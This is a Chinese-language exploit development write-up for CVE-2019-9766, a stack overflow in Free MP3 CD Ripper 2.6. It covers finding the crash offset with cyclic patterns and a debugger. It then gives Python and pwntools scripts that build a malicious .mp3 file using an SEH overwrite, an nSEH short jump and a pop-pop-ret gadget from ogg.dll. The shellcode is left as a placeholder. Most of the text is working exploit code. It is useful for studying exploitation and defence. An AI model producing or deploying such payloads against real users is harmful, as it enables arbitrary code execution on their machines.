CVE-2019-9766
Free MP3 CD Ripper 2.6版本中存在棧緩沖區(qū)溢出漏洞。遠程攻擊者可借助特制的.mp3文件利用該漏洞執(zhí)行任意代碼窝撵。
沒有保護,意味可以在棧上面寫shellcode執(zhí)行
得到Crash
生成測試文件
pay = "A"*10000
try:
f=open("test.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(pay))
f.write(pay)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")</pre>
將10000個“A"字節(jié)寫入到 test.mp3 文件內(nèi)挣惰,IDA掛上調(diào)試器開始調(diào)試
debugger setup:要在加載dll文件的時候自動下斷點农曲,以免漏洞函數(shù)在dll文件中。判斷之后確定漏洞函數(shù)在主程序 fcrip.exe 里面
確定溢出長度
使用cyclic
生成10000個不重復的文件厉斟,使用windbg捕獲異常退出(SEH)
joe1sn@MSI:/mnt/d/HackTools/CVE/Windows/CVE-2019-9766$ cyclic 10000 > sample.mp3</pre>
發(fā)現(xiàn)EIP
寄存器被61667062
覆蓋挚躯,但是程序是小端序,真實的數(shù)據(jù)是62706661
使用HxD得到數(shù)據(jù)位置
確定漏洞函數(shù)
0x1014 = 4116擦秽,最終獲得偏移码荔,那么重新編寫生成測試文件的腳本
pay = "A"*4112
try:
f=open("test.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(pay))
f.write(pay)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")</pre>
為了確定漏洞函數(shù),使用 IDA 動態(tài)調(diào)試
得到棧上的地址感挥,再減去之前的填充目胡,得到漏洞函數(shù)
在函數(shù)下斷點后,經(jīng)簡單逆向可以發(fā)現(xiàn):
這里的Len>=0x200的時候才允許我們退出
這個函數(shù)實現(xiàn)的是讀取功能链快,將我們提供的源文件數(shù)據(jù)寫到OverflowedStack
棧上面,然后是棧的空間大忻际:
綜上
棧地大小是:0x1010 = 4112
寫入函數(shù)的循環(huán)可以執(zhí)行:0x2000 = 8192次
最終造成棧溢出
準備編寫EXP
Windows的棧的結(jié)構(gòu)不大一樣域蜗,OverflowedStack + 4116
的位置:
網(wǎng)上的同用方法是覆蓋到EIP,然后調(diào)用SEH到Next_SEH噪猾,Next_SEH存一個短jmp跳到下面的shellcode
這樣做的好處是不用知道shellcode棧上的地址也可以進行跳轉(zhuǎn)執(zhí)行
這樣得到的EXP:
offset="A"*4116
NSEH="\xeb\x06\x90\x90"
SEH="\x84\x20\xe4\x66"
nops="\x90"*5
shellcode = "....."
pad = "B"*(316-len(nops)-len(shellcode))
payload = offset+NSEH+SEH+nops+shellcode+pad
try:
f=open("Sample3.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(payload))
f.write(payload)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")</pre>
成功上線
EXP效果分析
大致過程:
1. EIP錯誤導致該段棧幀調(diào)用 S.E.H
-
2. S.E.H 被我們修改為
ogg.dll:66E42084 pop ebx ogg.dll:66E42085 pop ebp ogg.dll:66E42086 retn
利用 ogg.dll 里面的gadget霉祸,抬棧過后再返回,這樣SEH的執(zhí)行就交給了 nSEH
3. 返回地址根據(jù) jmp長度可以直接跟shellcode袱蜡,也可以用nop滑入shellcode
所以這里利用了Windows中的SEH攻擊
最終得到簡化的EXP
from pwn import *
shellcode = "..."
offset="A"*4116
shellcode_addr = 0x0879FEA8
pop_ebx_ebp = 0x66E42084
payload = offset
payload += "\xEB\x06\x90\x90" # asm("jmp 6;nop;nop")
payload += p32(pop_ebx_ebp) #up the stack
payload += shellcode
try:
f=open("PWN.mp3","w")
success("Creating %s bytes mp3 Files..."%len(payload))
f.write(payload)
f.close()
success("mp3 File created successfully!")
except:
print ("File cannot be created!")